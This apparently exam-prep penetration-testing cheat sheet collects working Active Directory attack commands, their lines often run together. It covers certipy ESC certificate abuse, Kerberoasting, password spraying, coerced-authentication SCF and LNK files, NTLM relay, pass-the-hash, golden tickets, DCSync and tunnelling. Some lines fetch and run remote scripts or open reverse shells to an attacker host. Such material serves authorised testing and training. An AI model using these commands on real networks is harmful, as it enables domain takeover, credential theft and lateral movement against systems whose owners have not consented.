bloodyAD --host $dc -d $domain -u $user1 -p $pass1 remove groupMember $target $user1bloodyAD --host $dc -d $domain -u $user1 -p $pass1 remove rbcd $target $fakepcbloodyAD --host $dc -d $domain -u $user1 -p $pass1 remove genericAll $target $user1bloodyAD --host $dc -d $domain -u $user1 -p $pass1 remove dcsync $user1bloodyAD --host $dc -d $domain -u $user1 -p $pass1 remove shadowCredentials $targetbloodyAD --host $dc -d $domain -u $user1 -p $pass1 remove uac $target -f DONT_REQ_PREAUTHbloodyAD --host $dc -d $domain -u $user1 -p $pass1 set object $target servicePrincipalNamecertipy [13]
a certificate is a credential, and it outlives a password reset. Most exam-shaped domains run a CA, and one misconfigured template is a straight line from any domain user to administrator. certipy does all of it from kali — find what is wrong, request a certificate as administrator, turn it into a TGT and an NT hash. ca, cahost and template come out of find and go in the panel. Kali ships 5.x and these are its spellings; the bloodhound page has the same chains under ADCSESC1 to 13
-vulnerable prints only what this user can abuse, with the ESC number under [!] Vulnerabilities. -enabled -hide-admins is the full picture without the noise. In the CA block, CA Name and DNS Name are ca and cahost. -text and -json write it to files for later. The nxc module is the ten-second answer to whether there is a CA at all
nxc ldap $dc -u $user1 -p $pass1 -M adcscertipy find -u "$user1@$domain" -p $pass1 -dc-ip $ip -vulnerable -stdoutcertipy find -u "$user1@$domain" -p $pass1 -dc-ip $ip -enabled -hide-admins -stdoutcertipy find -u "$user1@$domain" -p $pass1 -dc-ip $ip -text -json -output $workdir/loot/adcscertipy find -u "$user1@$domain" -hashes $hash1 -dc-ip $ip -vulnerable -stdoutexport KRB5CCNAME=$auth1; certipy find -k -no-pass -target $dc -dc-host $dc -dc-ip $ip -vulnerable -stdoutthe common one. Enrollee Supplies Subject, client authentication, no approval, and you are allowed to enrol. Ask for a certificate with administrator's UPN in it. DCs patched since May 2022 want the SID in the certificate too — add -sid when auth fails with KDC_ERR_CERTIFICATE_MISMATCH; sid is in the panel and -500 is administrator. -target is the CA host by name, and the CA is often the DC
certipy req -u "$user1@$domain" -p $pass1 -dc-ip $ip -target $cahost -ca $ca -template $template -upn "$adminu@$domain"certipy req -u "$user1@$domain" -p $pass1 -dc-ip $ip -target $cahost -ca $ca -template $template -upn "$adminu@$domain" -sid $sid-500certipy auth -pfx administrator.pfx -dc-ip $ipPKINIT with the certificate, the TGT saved as a ccache, and the DC asked for the NT hash. The hash goes in the admin slot and everywhere a password does. -username and -domain when the certificate carries no UPN. -ldap-shell when PKINIT is refused — it authenticates over LDAPS instead and gives you a shell that can add you to a group or set a password
certipy auth -pfx administrator.pfx -dc-ip $ipcertipy auth -pfx administrator.pfx -dc-ip $ip -username $adminu -domain $domainexport KRB5CCNAME=administrator.ccache; klistimpacket-secretsdump -k -no-pass "$domain/$adminu@$dc" -just-dc-ntlmnxc smb $dc -u $adminu -H $adminhcertipy auth -pfx administrator.pfx -dc-ip $ip -ldap-shell# in the ldap shell: add_user_to_group $user1 "Domain Admins" change_password $adminu $newpass whoami exitGenericAll, WriteDacl, WriteOwner or WriteProperty on the template itself. Rewrite it into an ESC1 template, enrol, put it back. -write-default-configuration saves the original to TEMPLATE.json before it changes anything, and -write-configuration puts that file back. The two attributes by hand are in the bloodyAD group's wiki — msPKI-Certificate-Name-Flag 1 and msPKI-Enrollment-Flag 0
certipy template -u "$user1@$domain" -p $pass1 -dc-ip $ip -template $template -write-default-configurationcertipy req -u "$user1@$domain" -p $pass1 -dc-ip $ip -target $cahost -ca $ca -template $template -upn "$adminu@$domain" -sid $sid-500certipy auth -pfx administrator.pfx -dc-ip $ipcertipy template -u "$user1@$domain" -p $pass1 -dc-ip $ip -template $template -write-configuration $template.json -no-saveEDITF_ATTRIBUTESUBJECTALTNAME2 on the CA, so any template you can enrol in takes a UPN from the request — User will do. Patched CAs only fall to the b variant, which find reports separately
certipy req -u "$user1@$domain" -p $pass1 -dc-ip $ip -target $cahost -ca $ca -template User -upn "$adminu@$domain" -sid $sid-500certipy auth -pfx administrator.pfx -dc-ip $ipManageCA, or ManageCertificates. Make yourself an officer, enable the SubCA template, request as administrator — it is denied, and the request id is in the output — then issue it yourself and fetch it. -ns is the DNS server for the CA's name, so the DC
certipy ca -u "$user1@$domain" -p $pass1 -ns $ip -target $cahost -ca $ca -add-officer $user1certipy ca -u "$user1@$domain" -p $pass1 -ns $ip -target $cahost -ca $ca -enable-template SubCAcertipy req -u "$user1@$domain" -p $pass1 -dc-ip $ip -target $cahost -ca $ca -template SubCA -upn "$adminu@$domain" -sid $sid-500certipy ca -u "$user1@$domain" -p $pass1 -ns $ip -target $cahost -ca $ca -issue-request <id>certipy req -u "$user1@$domain" -p $pass1 -dc-ip $ip -target $cahost -ca $ca -retrieve <id>certipy auth -pfx administrator.pfx -dc-ip $ipcertipy ca -u "$user1@$domain" -p $pass1 -ns $ip -target $cahost -ca $ca -list-templatesa Certificate Request Agent template you can enrol in, and a second template that accepts agent-signed requests. Take the agent certificate, then request one on behalf of administrator with it
certipy req -u "$user1@$domain" -p $pass1 -dc-ip $ip -target $cahost -ca $ca -template $templatecertipy req -u "$user1@$domain" -p $pass1 -dc-ip $ip -target $cahost -ca $ca -template User -on-behalf-of "$domain\\$adminu" -pfx $user1.pfxcertipy auth -pfx administrator.pfx -dc-ip $ipGenericWrite on a user, and a template without the security extension (ESC9) or a CA that never adds it (ESC16). Take the victim's hash with shadow, set their UPN to administrator, enrol as them, put the UPN back, then auth with the name spelled out since the certificate has no domain in it
certipy shadow auto -u "$user1@$domain" -p $pass1 -dc-ip $ip -account $targetcertipy account update -u "$user1@$domain" -p $pass1 -dc-ip $ip -user $target -upn $adminucertipy req -u "$target@$domain" -hashes <victim hash> -dc-ip $ip -target $cahost -ca $ca -template $templatecertipy account update -u "$user1@$domain" -p $pass1 -dc-ip $ip -user $target -upn "$target@$domain"certipy auth -pfx administrator.pfx -dc-ip $ip -username $adminu -domain $domainESC13 is a template whose issuance policy is linked to a group, so its certificate logs you in as a member — request as yourself and check the groups. ESC15 is a schema version 1 template with Enrollee Supplies Subject, usually WebServer, where you inject the client-authentication policy the template lacks
certipy req -u "$user1@$domain" -p $pass1 -dc-ip $ip -target $cahost -ca $ca -template $templatecertipy auth -pfx $user1.pfx -dc-ip $ip && export KRB5CCNAME=$user1.ccache && nxc smb $dc --use-kcache --groupscertipy req -u "$user1@$domain" -p $pass1 -dc-ip $ip -target $cahost -ca $ca -template WebServer -upn "$adminu@$domain" -sid $sid-500 -application-policies 'Client Authentication'certipy auth -pfx administrator.pfx -dc-ip $ip -ldap-shellthe CA's http enrollment endpoint takes NTLM, so a coerced machine authentication relays into a certificate for that machine. It is a relay, so the exam bans it — here so you recognise the line in find's output
certipy find -u "$user1@$domain" -p $pass1 -dc-ip $ip -stdout | grep -A4 "Web Enrollment"certipy relay -target http://$cahost -template DomainControllercertipy auth -pfx dc01.pfx -dc-ip $ipwrites a key to msDS-KeyCredentialLink, logs in with it, hands back the NT hash, and removes the key. GenericWrite or GenericAll on a user or a computer, and a CA in the domain for PKINIT. The same line is in the bloodyAD group — this is the one-command form
certipy shadow auto -u "$user1@$domain" -p $pass1 -dc-ip $ip -account $targetcertipy shadow list -u "$user1@$domain" -p $pass1 -dc-ip $ip -account $targetcertipy shadow remove -u "$user1@$domain" -p $pass1 -dc-ip $ip -account $target -device-id <id>once you are admin on the CA host. Back up the CA certificate and key, then forge a certificate for anyone — it works for as long as the CA certificate does, through every password reset and a rebuild of the DC. -config is Machine\CAName. From a shell on the CA host, certutil -backupKey or mimikatz crypto::capi does the backup
certipy ca -u "$adminu@$domain" -p $adminp -ns $ip -target $cahost -ca $ca -backupcertipy forge -ca-pfx $ca.pfx -upn "$adminu@$domain" -sid $sid-500certipy auth -pfx administrator_forged.pfx -dc-ip $ip# KDC_ERR_CERTIFICATE_MISMATCH / KDC_ERR_CLIENT_NAME_MISMATCH : the DC wants the SID in the cert. -sid $sid-500 on the req# KDC_ERR_PADATA_TYPE_NOSUPP : the DC has no certificate for PKINIT. certipy auth -ldap-shell instead# KRB_AP_ERR_SKEW : sudo ntpdate $dc# CERTSRV_E_TEMPLATE_DENIED (0x80094012) : you may not enrol in that template as this user. find -vulnerable again, as the user you actually are# CERTSRV_E_UNSUPPORTED_CERT_TYPE (0x80094800) : the template is not enabled on the CA. ESC7's -enable-template, if you manage it# "certificate request is pending" : manager approval. Note the id — issue it with ESC7 if you can, else another template# could not connect / RPC_S_SERVER_UNAVAILABLE : -target wants the CA host by name, in /etc/hosts. -web uses web enrollment instead of RPC, -dcom the other transport# find hangs on the CA : -dc-only reads the templates from ldap and skips the CA itself# "the certificate chain was issued by an authority that is not trusted" on windows : the cert is fine, the box is not. Use the hash from authenumerate from a joined host [5]
net is on every windows box. PowerView needs loading first and gives you far more
net user /domainnet user $user1 /domainnet group "Domain Admins" /domainnet group "Domain Computers" /domainnltest /dclist:$domainpowershell -ep bypassImport-Module .\PowerView.ps1iex(New-Object Net.WebClient).DownloadString('http://$lhost:8000/PowerView.ps1')Get-NetDomainGet-NetUser | select cn,description,pwdlastset,lastlogonGet-NetUser -SPN | select samaccountname,serviceprincipalnameGet-DomainUser -PreauthNotRequiredGet-NetGroupMember "Domain Admins"Get-NetComputer | select dnshostname,operatingsystemFind-LocalAdminAccess is the one to run. Every host where this user is already a local admin
Find-LocalAdminAccessGet-NetSession -ComputerName $dcGet-NetLoggedon -ComputerName $dcFind-DomainShare -CheckShareAccessthe acl edges without a collector. The first line is slow on a big domain and worth the wait
Find-InterestingDomainAcl -ResolveGUIDs | ? { $_.IdentityReferenceName -match '$user1|Domain Users|Authenticated' } | select ObjectDN,ActiveDirectoryRights,IdentityReferenceNameGet-DomainComputer -Unconstrained | select dnshostnameGet-DomainUser -TrustedToAuth | select samaccountname,msds-allowedtodelegatetoGet-DomainObject -SearchBase "CN=Computers,DC=$(('$domain' -split '\.') -join ',DC=')" -Properties ms-ds-machineaccountquotaget a credential [12]
accounts with pre-authentication disabled. No credential needed at all, just a user list
impacket-GetNPUsers "$domain/" -usersfile $userlist -format hashcat -dc-ip $dc -outputfile $workdir/loot/asrep.mdnxc ldap $dc -u $user1 -p $pass1 --asreproast $workdir/loot/asrep.mdhashcat -m 18200 $workdir/loot/asrep.md $rockyouany domain user can request these. Service accounts often have old, weak, never-expiring passwords
impacket-GetUserSPNs "$domain/$user1:$pass1" -dc-ip $dc -request -outputfile $workdir/loot/roast.mdnxc ldap $dc -u $user1 -p $pass1 --kerberoasting $workdir/loot/roast.mdhashcat -m 13100 $workdir/loot/roast.md $rockyouRubeus does both without kali seeing the DC. /nowrap so the hash copies in one piece. It is .NET, so evil-winrm's Invoke-Binary runs it without writing it to disk
.\Rubeus.exe kerberoast /nowrap /outfile:C:\Windows\Temp\roast.md.\Rubeus.exe asreproast /nowrap /format:hashcat /outfile:C:\Windows\Temp\asrep.md.\Rubeus.exe kerberoast /user:$user2 /nowrapInvoke-Binary $workdir/.tools/Rubeus.exe kerberoast# powerview, when Rubeus is caught:Invoke-Kerberoast -OutputFormat Hashcat | select -ExpandProperty Hashcheck the lockout policy first. One password against every user beats every password against one user
nxc smb $dc -u $userlist -p $pass1 --continue-on-successnxc smb $dc -u $userlist -p $passlist --no-bruteforce --continue-on-successkerbrute passwordspray -d $domain --dc $dc $userlist $pass1when kali cannot see the DC yet. DomainPasswordSpray reads the lockout policy itself and stops short of it. Or get the tunnel up and use nxc, which is the same thing with better output
iex(iwr http://$lhost:8000/DomainPasswordSpray.ps1 -UseBasicParsing); Invoke-DomainPasswordSpray -Password '$pass1' -OutFile C:\Windows\Temp\sprayed.mdInvoke-DomainPasswordSpray -UserList C:\Windows\Temp\users.md -Password '$pass1'net accounts /domainproxychains -q nxc smb $dc -u $userlist -p $pass1 --continue-on-successpoisoning is banned on the exam, so -A keeps the poisoners off and only the servers up. Nothing arrives on its own then — the next card makes something connect. A captured NetNTLMv2 cracks but does not pass
sudo responder -I tun0 -Ahashcat -m 5600 $workdir/loot/netntlmv2.md $rockyouanywhere the box takes a path takes a UNC path. Whatever service account is behind the web app or the database is what authenticates to you, and that is usually the credential you were missing
# a file upload, a "fetch from url" field, a path in a form, an include:\\$lhost\x\file.txt# from mssql, as any login at all:EXEC master..xp_dirtree '\\$lhost\x'EXEC master..xp_fileexist '\\$lhost\x'explorer draws the icon of every file in a folder as it lists it, and when the icon lives on a UNC path it authenticates to that share to fetch it. Nobody has to click. A share with a "reviewed daily" note, an upload folder, a ticket attachment — anywhere a person opens a directory listing. The @ sorts it to the top so it is drawn first. Listener first, then drop the file, then wait a few minutes
sudo responder -I tun0 -Aprintf '[Shell]\nCommand=2\nIconFile=\\\\$lhost\\share\\icon.ico\n[Taskbar]\nCommand=ToggleDesktop\n' > $workdir/.tools/@readme.scfprintf '[InternetShortcut]\nURL=file://$lhost/share\nIconFile=\\\\$lhost\\share\\icon.ico\nIconIndex=1\n' > $workdir/.tools/@readme.urlpylnk3 c '\\\\$lhost\\share\\icon.ico' $workdir/.tools/@readme.lnk -i '\\\\$lhost\\share\\icon.ico' --icon-index 0smbclient "//$ip/SHARE" -U "$domain/$user1%$pass1" -c 'put '"$workdir"'/.tools/@readme.scf'# it worked when responder prints [SMB] NTLMv2-SSP Hash — crack it, or relay it (next card)hashcat -m 5600 $workdir/loot/netntlmv2.md $rockyou# scf is ignored on windows 10 1709+ and 2019 — the url and lnk forms still draw. Drop all three# the share has to be one a person browses with explorer. An smb share only scripts touch never draws an icon# outbound 445 from the target to you blocked? the same trick over webdav: IconFile=\\$lhost@80\share\icon.ico, with wsgidav on 80 (foothold > client-side)# a web upload that lands in a folder an admin opens counts too — foothold > web — uploads & appsa hash that will not crack still works once, live, against a host where that account is local admin and smb signing is off — never the DC, it signs. Relaying a connection the target made is not poisoning, but it is the grey edge of the rules, so keep the poisoners off and be ready to explain it
nxc smb $subnet --gen-relay-list $workdir/relay.mdsudo impacket-ntlmrelayx -tf $workdir/relay.md -smb2support --no-http-serversudo impacket-ntlmrelayx -t $ip2 -smb2support --no-http-server -c "powershell -nop -w hidden -enc <base64>"# responder cannot hold 445 at the same time: SMB = Off and HTTP = Off in /etc/responder/Responder.confa local admin anywhere gives you that machine's stored creds, and those creds are usually good somewhere else
nxc smb $ip -u $adminu -p $adminp --sam --lsanxc smb $subnet -u $adminu -H $adminh --sam --lsaimpacket-secretsdump "$domain/$adminu:$adminp@$ip"two passwords the DC hands to whoever is allowed to read them, and the right is often on a group you are already in. LAPS is the local administrator of that computer; a gMSA is a service account, and the hash passes as it. Both are edges on the bloodhound page
nxc ldap $dc -u $user1 -p $pass1 -M lapsnxc smb $ip2 -u Administrator -p '<laps password>' --local-authnxc ldap $dc -u $user1 -p $pass1 --gmsanxc smb $dc -u 'svc_gmsa$' -H <gmsa hash>move sideways [5]
this is the whole set. A credential, then a host it works on, then that host's credentials, then the next host
psexec and wmiexec need local admin. wmiexec is quieter and does not drop a service
evil-winrm -i $ip -u $adminu -p $adminpevil-winrm -i $ip -u $adminu -H $adminhimpacket-psexec "$domain/$adminu:$adminp@$ip"impacket-wmiexec "$domain/$adminu:$adminp@$ip"impacket-smbexec "$domain/$adminu:$adminp@$ip"an NT hash goes everywhere a password does. The empty LM half before the colon is not a typo. rdp is the exception — it needs Restricted Admin mode on the target, which is one registry key a local admin can set over smb
impacket-psexec -hashes :$adminh "$domain/$adminu@$ip"impacket-wmiexec -hashes :$adminh "$domain/$adminu@$ip"nxc smb $ip -u $adminu -H $adminh -x whoamievil-winrm -i $ip -u $adminu -H $adminhnxc smb $ip -u $adminu -H $adminh -x 'reg add HKLM\System\CurrentControlSet\Control\Lsa /v DisableRestrictedAdmin /t REG_DWORD /d 0 /f'xfreerdp /v:$ip /u:$adminu /pth:$adminh /cert:ignore /dynamic-resolutionfor finding the one host that matters without shelling into each
nxc smb $subnet -u $adminu -p $adminp -x "whoami"nxc smb $subnet -u $adminu -p $adminp -X "Get-ChildItem C:\Users\*\Desktop"the inside boxes before the tunnel is up, with what the box already has. Every one of these needs local admin on the far end. Build $cred once. The two IP forms go over DCOM, so they need no TrustedHosts — but MMC20 runs as whoever you are, so start from a shell as that admin (RunasCs gets you one)
$pw = ConvertTo-SecureString '$adminp' -AsPlainText -Force; $cred = New-Object System.Management.Automation.PSCredential('$domain\$adminu', $pw)winrs -r:$dc -u:$domain\$adminu -p:$adminp "cmd /c hostname & whoami"Invoke-Command -ComputerName $dc -Credential $cred -ScriptBlock { hostname; whoami }New-PSSession -ComputerName $dc -Credential $cred; Enter-PSSession 1$s = New-CimSession -ComputerName $ip2 -Credential $cred -SessionOption (New-CimSessionOption -Protocol DCOM); Invoke-CimMethod -CimSession $s -ClassName Win32_Process -MethodName Create -Arguments @{CommandLine='powershell -nop -w hidden -enc <base64>'}$m = [Activator]::CreateInstance([Type]::GetTypeFromProgID("MMC20.Application.1","$ip2")); $m.Document.ActiveView.ExecuteShellCommand("powershell",$null,"-nop -w hidden -enc <base64>","7").\PsExec64.exe -accepteula \\$dc -u $domain\$adminu -p $adminp -i cmdAUTH holds the .ccache path. Kerberos needs the FQDN, never the IP
export KRB5CCNAME=$adminaklistimpacket-psexec -k -no-pass "$domain/$adminu@$dc"nxc smb $dc -u $adminu --use-kcachetickets [6]
a hash or a password becomes a ticket, and a ticket goes where NTLM is blocked. sid is the domain SID from the panel. klist on windows and KRB5CCNAME on kali is where the current one lives
an NT hash into a TGT. On windows the new process holds the ticket — run everything kerberos from inside it
impacket-getTGT -hashes :$adminh "$domain/$adminu" -dc-ip $ip && export KRB5CCNAME=$adminu.ccacheimpacket-psexec -k -no-pass "$domain/$adminu@$dc".\mimikatz.exe "privilege::debug" "sekurlsa::pth /user:$adminu /domain:$domain /ntlm:$adminh /run:powershell" exit.\Rubeus.exe asktgt /user:$adminu /rc4:$adminh /pttthe tickets already in memory on a box you own are other people's logons. List them, take the one with a name you want, inject it
.\Rubeus.exe triage.\Rubeus.exe dump /service:krbtgt /nowrap.\Rubeus.exe ptt /ticket:<base64>.\mimikatz.exe "privilege::debug" "sekurlsa::tickets /export" exit.\mimikatz.exe "kerberos::ptt [0;3e4]-2-0-40e10000-Administrator@krbtgt-CORP.COM.kirbi" exitklistkirbi on windows, ccache on kali — convert, then point KRB5CCNAME at it. Kerberos wants the FQDN, never the IP, and evil-winrm's -r wants the realm in /etc/krb5.conf
impacket-ticketConverter ticket.kirbi ticket.ccacheimpacket-ticketConverter ticket.ccache ticket.kirbiexport KRB5CCNAME=$workdir/loot/ticket.ccache; klistimpacket-psexec -k -no-pass "$domain/$adminu@$dc"nxc smb $dc --use-kcacheevil-winrm -i $dc -r $domainthe NT hash of a service account forges a ticket for its service, as anyone at all, and the DC is never asked. hash1 is the service account's hash, the user can be any name, and the SPN is the service — cifs for smb and psexec, http for winrm, mssqlsvc for sql
impacket-ticketer -nthash $hash1 -domain-sid $sid -domain $domain -spn cifs/$dc Administratorexport KRB5CCNAME=Administrator.ccache && impacket-psexec -k -no-pass "$domain/Administrator@$dc".\mimikatz.exe "kerberos::golden /sid:$sid /domain:$domain /ptt /target:$dc /service:http /rc4:$hash1 /user:$adminu" exitiwr -UseDefaultCredentials http://$dcthe krbtgt hash from dcsync forges a TGT for anyone, for ten years. It survives every password change and a revert of the DC, so it is also your way back in
impacket-ticketer -nthash <krbtgt hash> -domain-sid $sid -domain $domain Administratorexport KRB5CCNAME=Administrator.ccache && impacket-psexec -k -no-pass "$domain/Administrator@$dc".\mimikatz.exe "kerberos::golden /user:Administrator /domain:$domain /sid:$sid /krbtgt:<krbtgt hash> /ptt" exit.\PsExec64.exe \\$dc cmdthe domain SID is any user's SID minus the last block. Any domain account can read it
whoami /userGet-DomainSIDimpacket-lookupsid "$domain/$user1:$pass1@$dc" | grep 'Domain SID'nxc ldap $dc -u $user1 -p $pass1 --get-sidtake the domain [3]
needs replication rights — bloodhound's DCSync query tells you who has them. Domain admin always does
impacket-secretsdump "$domain/$adminu:$adminp@$dc" -just-dc-ntlmimpacket-secretsdump -hashes :$adminh "$domain/$adminu@$dc" -just-dcnxc smb $dc -u $adminu -p $adminp --ntds.\mimikatz.exe "lsadump::dcsync /domain:$domain /user:$domain\krbtgt" exitwhen you are SYSTEM on the DC but have no replication rights. The file is locked, so it comes out of a shadow copy, and the SYSTEM hive comes with it or nothing decrypts. A Backup Operator does the same through diskshadow — see the privilege lookup
vssadmin create shadow /for=C:copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\NTDS\ntds.dit C:\Windows\Temp\ntds.ditreg save HKLM\SYSTEM C:\Windows\Temp\system# or in one go:ntdsutil "ac i ntds" "ifm" "create full C:\Windows\Temp\ntds" q q# back on kali:impacket-secretsdump -ntds ntds.dit -system system LOCALall three boxes need proof.txt. Take the screenshots as you go — people lose points by leaving it to the end
type C:\Users\Administrator\Desktop\proof.txt & whoami & hostname & ipconfigpivoting
a second interface on a box means a network behind it. Set subnet and pivot in the panel, pick one tunnel and stay with it, then ip2 is whichever inside box you are working
is there anything behind this box [3]
a second interface, or a route to something you have not scanned. That is the AD set on the exam
ip a; ip route; arp -a; cat /etc/hostsipconfig /all & route print & arp -abefore any tunnel — a sweep from the box itself needs nothing installed. The prefix comes off subnet, so this is a /24 sweep
net=$(echo $subnet | cut -d. -f1-3); for i in $(seq 1 254); do (ping -c1 -W1 $net.$i >/dev/null && echo "$net.$i up") & done; wait$n = ('$subnet' -split '\.')[0..2] -join '.'; 1..254 | % { if (Test-Connection -Count 1 -Quiet "$n.$_") { "$n.$_ up" } }for p in 21 22 25 80 139 445 1433 3306 3389 5985 8080; do (echo >/dev/tcp/$ip2/$p) 2>/dev/null && echo "$p open"; donefor p in $(seq 1 1000); do (echo >/dev/tcp/127.0.0.1/$p) >/dev/null 2>&1 && echo "$p open"; doneforeach ($p in 21,22,80,139,445,3389,5985) { if ((New-Object Net.Sockets.TcpClient).ConnectAsync("$ip2",$p).Wait(300)) { "$p open" } }ligolo-ng [9]
the one to reach for. It gives you a real interface, so every tool works unchanged — no proxychains, no -sT, and UDP and ICMP come along too. Two binaries, proxy on kali and agent on the box
the tun interface is yours, not the box's. Make it once and leave it up
sudo ip tuntap add user $(whoami) mode tun ligolosudo ip link set ligolo upip link show ligolo./proxy -selfcert -laddr 0.0.0.0:11601push the right binary over first — see file transfer. -ignore-cert pairs with -selfcert
./agent -connect $lhost:11601 -ignore-cert.\agent.exe -connect $lhost:11601 -ignore-certStart-Process -NoNewWindow .\agent.exe -ArgumentList "-connect $lhost:11601 -ignore-cert"in the proxy console. session, pick the agent, start — then add the route on kali and the whole subnet is reachable
sessionifconfigstart# in another terminal on kali:sudo ip route add $subnet dev ligoloip route get $pivotnothing is wrapped. nmap does SYN scans, nxc works, evil-winrm works, rdp works. Sweep the subnet first, then put the box you pick in ip2
nmap -sn $subnet -oA $workdir/scans/sweepnmap -sC -sV -oA $workdir/scans/$ip2 $ip2nxc smb $subnet -u $user1 -p $pass1evil-winrm -i $ip2 -u $user1 -p $pass1xfreerdp /v:$ip2 /u:$user1 /p:$pass1 /cert:ignorea reverse shell from inside the subnet has no route back to tun0. A listener on the agent forwards it to you, so the inside box connects to pivot, not to lhost
# in the proxy console, with the session selected:listener_add --addr 0.0.0.0:$lport --to 127.0.0.1:$lport --tcplistener_list# the inside box now connects to the pivot's own address on that port:bash -i >& /dev/tcp/$pivot/$lport 0>&1same again for http — the inside box pulls from the pivot, not from you
# proxy console:listener_add --addr 0.0.0.0:8000 --to 127.0.0.1:8000 --tcp# on the inside box:iwr http://$pivot:8000/winPEASx64.exe -OutFile C:\Windows\Temp\w.execurl -sO http://$pivot:8000/linpeas.shthe second box cannot reach you on 11601 either — agent 2 connects to agent 1, which forwards it on. Then a second tun and route on kali, so the two chains do not collide
# proxy console, with session 1 selected — the agent port, forwarded like any other:listener_add --addr 0.0.0.0:11601 --to 127.0.0.1:11601 --tcp# on the second box, aimed at the first pivot's inside address:./agent -connect $pivot:11601 -ignore-cert# on kali — its own interface and route, then session > pick agent 2 > start --tun ligolo2sudo ip tuntap add user $(whoami) mode tun ligolo2 && sudo ip link set ligolo2 upsudo ip route add 172.16.6.0/24 dev ligolo2sudo ip route del $subnet dev ligolosudo ip link del ligolossh forwards [6]
no binary to upload. Needs ssh creds or a key, and the shape is easy to get backwards — L brings a remote port to you, R pushes a local port to them, D is a socks proxy
ssh -L 8080:127.0.0.1:80 $user1@$ipssh -L 8080:$ip2:80 $user1@$ipssh -N -f -L 3306:127.0.0.1:3306 $user1@$ipfor a reverse shell from a third box that cannot reach you
ssh -R 9001:127.0.0.1:9001 $user1@$ipssh -N -f -R 8000:127.0.0.1:8000 $user1@$ipssh -D 1080 -N $user1@$ipssh -D 1080 -N -i id_rsa $user1@$ipfor when you cannot ssh in but the box can ssh out. Start sshd on kali, make a throwaway user, and the box pushes a socks proxy back to you. Needs OpenSSH 7.6 or newer on the box
sudo systemctl start ssh && sudo useradd -m -s /bin/bash tunnel && echo 'tunnel:Pass4Pentest1' | sudo chpasswdssh -N -R 1080 tunnel@$lhost# on kali: socks5 127.0.0.1 1080 in proxychains4.conf, then proxychains as usualssh creds on the pivot and python on it is all it needs. Routes the whole subnet through the ssh session, so every tool works unchanged
sudo apt install -y sshuttlesshuttle -r $user1@$ip $subnetsshuttle -r $user1@$ip $subnet --ssh-cmd 'ssh -i id_rsa'plink.exe -ssh -l $user1 -pw $pass1 -R 9001:127.0.0.1:9001 $lhostcmd.exe /c echo y | plink.exe -ssh -l $user1 -pw $pass1 -N -D 1080 $lhostchisel [3]
when ligolo will not run but a single static binary will. Reverse is the one that matters — the box dials out to you
./chisel server -p 8000 --reverse./chisel client $lhost:8000 R:1080:socks.\chisel.exe client $lhost:8000 R:1080:socks./chisel server -p 8000./chisel client $lhost:8000 8080:$ip2:80./chisel server -p 8000 --reverse./chisel client $lhost:8000 R:3389:$ip2:3389proxychains [2]
what chisel and ssh -D need. TCP connect only, so nmap wants -sT -Pn and anything using raw sockets or UDP will not work
grep -vE '^#|^$' /etc/proxychains4.confecho 'socks5 127.0.0.1 1080' | sudo tee -a /etc/proxychains4.conf-q keeps the output readable. Slow — scan a port list, not a range
proxychains -q nmap -sT -Pn -n -p 21,22,80,139,445,1433,3389,5985 $ip2proxychains -q nxc smb $subnet -u $user1 -p $pass1proxychains -q impacket-psexec "$domain/$adminu:$adminp@$ip2"proxychains -q evil-winrm -i $ip2 -u $user1 -p $pass1proxychains -q xfreerdp /v:$ip2 /u:$user1 /p:$pass1 /cert:ignorewhen none of those will run [3]
netsh is on every windows box and needs admin. Open the firewall for the port or nothing reaches it
netsh interface portproxy add v4tov4 listenport=8080 listenaddress=0.0.0.0 connectport=80 connectaddress=$ip2netsh interface portproxy show allnetsh advfirewall firewall add rule name=fwd dir=in action=allow protocol=TCP localport=8080netsh interface portproxy delete v4tov4 listenport=8080 listenaddress=0.0.0.0socat TCP-LISTEN:8080,fork,reuseaddr TCP:$ip2:80 &dependency-free TCP forwarder — listens on 0.0.0.0:9898 and pipes to lport, for a box with no chisel and no ssh
python3 fwd.py -lport 8080python3 fwd.py -lhost 127.0.0.1 -lport 3306 -rport 13306toolbox
not a phase — the things you reach for at every phase
cracking [7]
a kali VM has no GPU, so hashcat inside it is cpu only. Copy the hash file out and crack on the host, and keep to best64 — rockyou with a big rule set is hours either way
hashid '<hash>'hash-identifiercurl -sS --data-binary '<hash>' https://bokkapig.com/api/hashid# 0 md5 100 sha1 1400 sha256 1800 sha512crypt 500 md5crypt# 1000 NTLM 3000 LM 5600 NetNTLMv2 13100 kerberoast 18200 AS-REP# 22000 WPA 13400 keepass 17200 zip 10000 django 3200 bcrypthashcat -m 1000 hashes.md $rockyouhashcat -m 1000 hashes.md $rockyou -r /usr/share/hashcat/rules/best64.rulethe policy says what the password has to look like — capital first, a digit and a symbol on the end. Write that as a rule and rockyou becomes rockyou in the shape they were forced into. c capitalises, $x appends, ^x prepends, one rule per line
printf 'c $1\nc $1 $!\nc $1 $2 $3\nc $2 $0 $2 $4\nc $2 $0 $2 $4 $!\nc $2 $0 $2 $5 $!\nc $!\nc $@\n' > $workdir/policy.rulehashcat -m 1000 hashes.md $rockyou -r $workdir/policy.rulehashcat --stdout $passlist -r $workdir/policy.rule | sort -u > $workdir/mutated.mdhashcat -m 1000 -a 3 hashes.md ?u?l?l?l?l?l?d?d # a mask, when the policy fixes the length: ?u upper ?l lower ?d digit ?s symbol--username when the file is user:hash. --show prints what the potfile already has — which is why a second run says "all hashes found" and shows nothing
hashcat -m 1000 --username hashes.md $rockyouhashcat -m 1000 --username --show hashes.mdhashcat -m 1000 hashes.md $rockyou --session box1 && hashcat --session box1 --restorehashcat --example-hashes | grep -i -B2 -A3 '<prefix>'john --wordlist=$rockyou hashes.mdjohn --show hashes.mdzip2john secret.zip > zip.hashkeepass2john db.kdbx > kdbx.hashssh2john id_rsa > key.hashpdf2john file.pdf > pdf.hashoffice2john doc.docx > office.hashhashcat --stdout $passlist -r /usr/share/hashcat/rules/best64.rule > mutated.mdjohn --wordlist=$passlist --rules --stdout > mutated.mdfiles & forensics [6]
